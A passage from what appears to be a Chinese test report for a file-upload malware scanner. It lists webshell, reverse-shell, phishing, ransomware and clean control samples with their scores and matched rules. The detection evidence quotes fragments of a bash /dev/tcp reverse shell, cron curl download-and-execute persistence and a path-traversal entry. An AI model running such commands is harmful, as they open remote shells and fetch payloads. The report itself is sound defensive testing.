`normal_deploy.sh` + +- **描述**: 运维部署脚本(误报) +- **文件大小**: 155 B +- **预期**: `suspicious` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.sh + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh | + +#### ✅ L7-012 — `normal_readme.txt` + +- **描述**: 干净 README 对照 +- **文件大小**: 162 B +- **预期**: `clean` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L7-013 — `normal_report.docx` + +- **描述**: 干净 DOCX 对照 +- **文件大小**: 1,212 B +- **预期**: `clean` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ L7-014 — `ole_dropper.doc` + +- **描述**: OLE 投递 DOC +- **文件大小**: 1,641 B +- **预期**: `suspicious` +- **实际**: `suspicious` (score=35.0, action=manual_review) +- **判定理由**: keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['ualAllocExCreateRemoteThread'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `document` | `L2` | `low` | `OleToolsUnavailable` | 0.0 | VBA 宏解析失败:'NoneType' object has no attribute 'name' | +| `keywords` | `L2B` | `high` | `RemoteSessionHijack` | 35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['ualAllocExCreateRemoteThread'] | + +#### ✅ L7-015 — `pe_downloader.exe` + +- **描述**: PE 下载木马 +- **文件大小**: 1,148 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `yara` | `L2B` | `low` | `C1_PE_Downloader_Loader` | 65.0 | YARA 规则 C1_PE_Downloader_Loader 命中(标签:无) | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'NT Headers not found.' | + +#### ✅ L7-016 — `pe_injection.exe` + +- **描述**: PE 注入程序 +- **文件大小**: 1,129 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['cessMemoryCreateRemoteThreadOpenProces'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `keywords` | `L2B` | `high` | `RemoteSessionHijack` | 35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['cessMemoryCreateRemoteThreadOpenProces'] | +| `yara` | `L2B` | `low` | `C1_PE_ProcessInjection` | 85.0 | YARA 规则 C1_PE_ProcessInjection 命中(标签:无) | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'NT Headers not found.' | + +#### ✅ L7-017 — `persist_cron.sh` + +- **描述**: Crontab 持久化脚本 +- **文件大小**: 95 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ShellScriptDangerous 命中:脚本包含危险函数(脚本 curl 下载并管道执行) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh | +| `structure` | `L0` | `high` | `ShellScriptDangerous` | 65.0 | 脚本包含危险函数(脚本 curl 下载并管道执行) | +| `structure` | `L0` | `high` | `ShellScriptDangerous` | 65.0 | 脚本包含危险函数(脚本包含 cron 持久化) | +| `clamav` | `L1` | `high` | `Txt.Malware.Sustes-6779550-1` | 85.0 | ClamAV 签名命中:Txt.Malware.Sustes-6779550-1 | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['* * * * * curl http://ev'] | +| `yara` | `L2B` | `low` | `C7_Linux_Persistence_Crontab` | 65.0 | YARA 规则 C7_Linux_Persistence_Crontab 命中(标签:无) | + +#### ✅ L7-018 — `phishing.eml` + +- **描述**: 钓鱼邮件 EML +- **文件大小**: 1,869 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件正文/Subject 命中钓鱼特征,需人工确认;邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件;邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件;邮件附件存在双扩展名伪装,高风险钓鱼特征 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 紧急操作催促(钓鱼常用) | +| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 要求点击链接验证账号 | +| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 索要密码/凭证 | +| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 诱导转账/支付 | +| `document` | `L2` | `medium` | `EmailPhishingKeyword` | 25.0 | 邮件正文/Subject 命中钓鱼特征: 伪装发票/订单/收据(附件可能带毒) | +| `document` | `L2` | `high` | `EmailAttachmentDangerous` | 55.0 | 邮件附件为高风险类型: invoice.vbs | +| `document` | `L2` | `high` | `EmailAttachmentDangerous` | 55.0 | 邮件附件为高风险类型: invoice.pdf.vbs | +| `document` | `L2` | `high` | `EmailAttachmentDisguised` | 45.0 | 附件可能存在双扩展名伪装: invoice.pdf.vbs | +| `document` | `L2` | `high` | `EmailAttachmentDangerous` | 55.0 | 邮件附件为高风险类型: form.js | +| `document` | `L2` | `critical` | `EmailAttachmentWebshell` | 70.0 | 附件内容疑似 Webshell: form.js | + +#### ✅ L7-019 — `photo.jpg.php` + +- **描述**: 双扩展名伪装 .jpg.php +- **文件大小**: 29 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件类型 .php 不在允许清单内 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:photo.jpg.php | +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.php | +| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:photo.jpg.php | + +#### ✅ L7-020 — `ransom_dropper.exe.txt` + +- **描述**: 勒索软件投递器 +- **文件大小**: 215 B +- **预期**: `reject` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: yara:YARA 规则 C8_Ransomware_Encryption 命中(标签:无);yara:YARA 规则 C8_Ransomware_Note_Filename 命中(标签:无);yara:YARA 规则 C8_Ransomware_VolumeShadow 命中(标签:无) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `yara` | `L2B` | `critical` | `C8_Ransomware_Encryption` | 85.0 | YARA 规则 C8_Ransomware_Encryption 命中(标签:无) | +| `yara` | `L2B` | `critical` | `C8_Ransomware_Note_Filename` | 65.0 | YARA 规则 C8_Ransomware_Note_Filename 命中(标签:无) | +| `yara` | `L2B` | `critical` | `C8_Ransomware_VolumeShadow` | 65.0 | YARA 规则 C8_Ransomware_VolumeShadow 命中(标签:无) | + +#### ✅ L7-021 — `sealed.docx` + +- **描述**: 加密 DOCX(被视为损坏) +- **文件大小**: 6,656 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件已加密,无法进行完整静态分析,按策略拒绝 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file | +| `document` | `L2` | `medium` | `OfficeEncrypted` | 25.0 | Office 文档已加密(密码保护),无法进行完整静态分析 | +| `document` | `L2` | `low` | `OoxmlParseFailed` | 0.0 | OOXML 容器解析失败:File is not a zip file | +| `extractor` | `L0` | `medium` | `ArchiveBroken` | 10.0 | ZIP 结构损坏:File is not a zip file | + +#### ✅ L7-022 — `sealed.xlsx` + +- **描述**: 加密 XLSX(被视为损坏) +- **文件大小**: 6,656 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件已加密,无法进行完整静态分析,按策略拒绝 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .xlsx,实际内容为 CDFV2 Encrypted(.doc) | +| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file | +| `document` | `L2` | `medium` | `OfficeEncrypted` | 25.0 | Office 文档已加密(密码保护),无法进行完整静态分析 | +| `document` | `L2` | `low` | `OoxmlParseFailed` | 0.0 | OOXML 容器解析失败:File is not a zip file | +| `extractor` | `L0` | `medium` | `ArchiveBroken` | 10.0 | ZIP 结构损坏:File is not a zip file | + +#### ✅ L7-023 — `shell_aspx.aspx` + +- **描述**: ASPX 一句话木马 +- **文件大小**: 169 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件类型 .aspx 不在允许清单内 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.aspx | + +#### ✅ L7-024 — `shell_bash_devtcp.sh` + +- **描述**: Bash /dev/tcp 反弹 +- **文件大小**: 51 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ShellScriptDangerous 命中:脚本包含反弹 Shell 特征(bash -i 反弹 Shell) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh | +| `structure` | `L0` | `critical` | `ShellScriptDangerous` | 85.0 | 脚本包含反弹 Shell 特征(bash -i 反弹 Shell) | +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['!/bin/bashbash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L7-025 — `shell_jsp_runtime.jsp` + +- **描述**: JSP Runtime exec 木马 +- **文件大小**: 316 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件类型 .jsp 不在允许清单内 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.jsp | +| `yara` | `L2B` | `low` | `C3_JSP_Webshell_RuntimeExec` | 85.0 | YARA 规则 C3_JSP_Webshell_RuntimeExec 命中(标签:无) | + +#### ✅ L7-026 — `shell_nc.sh` + +- **描述**: NC 反弹 Shell +- **文件大小**: 42 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ShellScriptDangerous 命中:脚本包含反弹 Shell 特征(netcat -e 反弹 Shell) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.sh | +| `structure` | `L0` | `critical` | `ShellScriptDangerous` | 85.0 | 脚本包含反弹 Shell 特征(netcat -e 反弹 Shell) | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L7-027 — `shell_php_eval.php` + +- **描述**: PHP eval 一句话木马 +- **文件大小**: 40 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件类型 .php 不在允许清单内 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.php | +| `yara` | `L2B` | `low` | `C3_PHP_Webshell_Oneliner` | 85.0 | YARA 规则 C3_PHP_Webshell_Oneliner 命中(标签:无) | + +#### ✅ L7-028 — `shell_php_obf.php` + +- **描述**: PHP 混淆木马 +- **文件大小**: 61 B +- **预期**: `reject` +- **实际**: `reject` (score=100.0, action=reject) +- **判定理由**: 文件类型 .php 不在允许清单内 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.php | +| `yara` | `L2B` | `high` | `C3_PHP_Webshell_Obfuscated` | 65.0 | YARA 规则 C3_PHP_Webshell_Obfuscated 命中(标签:无) | + +#### ✅ L7-029 — `shell_python.py` + +- **描述**: Python 反弹脚本 +- **文件大小**: 211 B +- **预期**: `suspicious` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.py + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.py | + +#### ✅ L7-030 — `shortcut.lnk` + +- **描述**: 恶意 .lnk 快捷方式 +- **文件大小**: 143 B +- **预期**: `suspicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.lnk | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] | + +#### ✅ L7-031 — `template_backdoor.docx` + +- **描述**: 模板后门 DOCX +- **文件大小**: 2,176 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 AttachedTemplate 命中:word/settings.xml 关联了外部模板,可能触发模板注入 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `document` | `L2` | `high` | `AttachedTemplate` | 45.0 | word/settings.xml 关联了外部模板,可能触发模板注入 | + +#### ✅ L7-032 — `vba_autoexec.bas` + +- **描述**: VBA AutoOpen 宏 +- **文件大小**: 98 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 VBAAutoExecShell 命中:VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `document` | `L2` | `critical` | `VBAAutoExecShell` | 70.0 | VBA 宏检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用(纯文本扫描) | +| `keywords` | `L2B` | `high` | `RemoteDownloadUnix` | 30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['md.exe /c curl http://ev'] | + +#### ✅ L7-033 — `wps_macro.js` + +- **描述**: WPS JS 宏 +- **文件大小**: 142 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["/bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4'] + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js | +| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:["/bash -c 'bash -i >& /dev/tcp/", 'ash -i >& /dev/tcp/10.0.0.5/4'] | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) | +| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Misc` | 25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) | +| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) | + +#### ✅ L7-034 — `zip_traversal.zip` + +- **描述**: ZIP 路径穿越(旧版) +- **文件大小**: 164 B +- **预期**: `malicious` +- **实际**: `malicious` (score=100.0, action=reject) +- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../../etc/passwd + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../../etc/passwd | +| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../../etc/passwd | + +#### ✅ L7-035 — `neg_tmp1.zip` + +- **描述**: 占位残留 tmp zip +- **文件大小**: 22 B +- **预期**: `clean` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +### NEG + +#### ✅ NEG-001 — `NEG-001_clean.jpg` + +- **描述**: 业务标准JPG图片 +- **文件大小**: 204 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-002 — `NEG-002_clean.png` + +- **描述**: 业务PNG图片 +- **文件大小**: 208 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-003 — `NEG-003_clean.mp4` + +- **描述**: 业务MP4视频 +- **文件大小**: 212 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-004 — `NEG-004_clean.docx` + +- **描述**: 业务正常docx报表 +- **文件大小**: 281 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-005 — `NEG-005_clean.xlsx` + +- **描述**: 业务正常xlsx表格 +- **文件大小**: 275 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-006 — `NEG-006_clean.pdf` + +- **描述**: 业务正常PDF报告 +- **文件大小**: 14 B +- **预期**: `pass` +- **实际**: `suspicious` (score=20.0, action=pass_with_flag) +- **判定理由**: 风险评分 20.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `medium` | `MalformedStructure` | 20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 | +| `document` | `L2` | `low` | `PdfParseFailed` | 0.0 | PDF 解析失败:startxref not found | + +#### ✅ NEG-007 — `NEG-007_clean.java` + +- **描述**: 业务源码java文件 +- **文件大小**: 94 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-008 — `NEG-008_clean.py` + +- **描述**: 业务源码python脚本 +- **文件大小**: 73 B +- **预期**: `pass` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.py + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.py | + +#### ✅ NEG-009 — `NEG-009_clean.zip` + +- **描述**: 正常业务压缩包zip +- **文件大小**: 285 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-010 — `NEG-010_clean.exe` + +- **描述**: 正常业务安装包(干净开源) +- **文件大小**: 104 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.exe + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ NEG-011 — `NEG-011_clean.log` + +- **描述**: 正常日志文件 +- **文件大小**: 90 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-012 — `NEG-012_clean.csv` + +- **描述**: 正常csv业务数据文件 +- **文件大小**: 52 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-013 — `NEG-013_clean.eml` + +- **描述**: 正常eml业务邮件(无附件、无外联恶意) +- **文件大小**: 121 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-014 — `NEG-014_clean.dll` + +- **描述**: 正常dll(系统干净dll) +- **文件大小**: 104 B +- **预期**: `pass` +- **实际**: `suspicious` (score=55.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.dll + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.dll | +| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' | + +#### ✅ NEG-015 — `NEG-015_clean.ttf` + +- **描述**: 正常字体文件ttf +- **文件大小**: 204 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-016 — `NEG-016_clean.dwg` + +- **描述**: 正常CAD图纸 +- **文件大小**: 206 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无 + +#### ✅ NEG-017 — `NEG-017_4layer_nested.zip` + +- **描述**: 多层嵌套干净zip(无风险) +- **文件大小**: 142 B +- **预期**: `pass` +- **实际**: `suspicious` (score=35.0, action=manual_review) +- **判定理由**: 风险评分 35.0 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file | +| `extractor` | `L0` | `medium` | `ArchiveBroken` | 10.0 | ZIP 结构损坏:File is not a zip file | + +#### ✅ NEG-018 — `NEG-018_clean.bat` + +- **描述**: 正常bat运维脚本(内网备份) +- **文件大小**: 71 B +- **预期**: `pass` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.bat + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat | + +#### ✅ NEG-019 — `NEG-019_clean.ps1` + +- **描述**: 正常ps1运维脚本(内网查询) +- **文件大小**: 75 B +- **预期**: `pass` +- **实际**: `suspicious` (score=30.0, action=manual_review) +- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1 + +**命中规则:** + +| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 | +|------|----|--------|------|-----:|------| +| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 | + +#### ✅ NEG-020 — `NEG-020_clean.odt` + +- **描述**: 正常odt文档 +- **文件大小**: 277 B +- **预期**: `pass` +- **实际**: `clean` (score=0.0, action=pass) +- **判定理由**: 未发现安全风险 + +**命中规则:** 无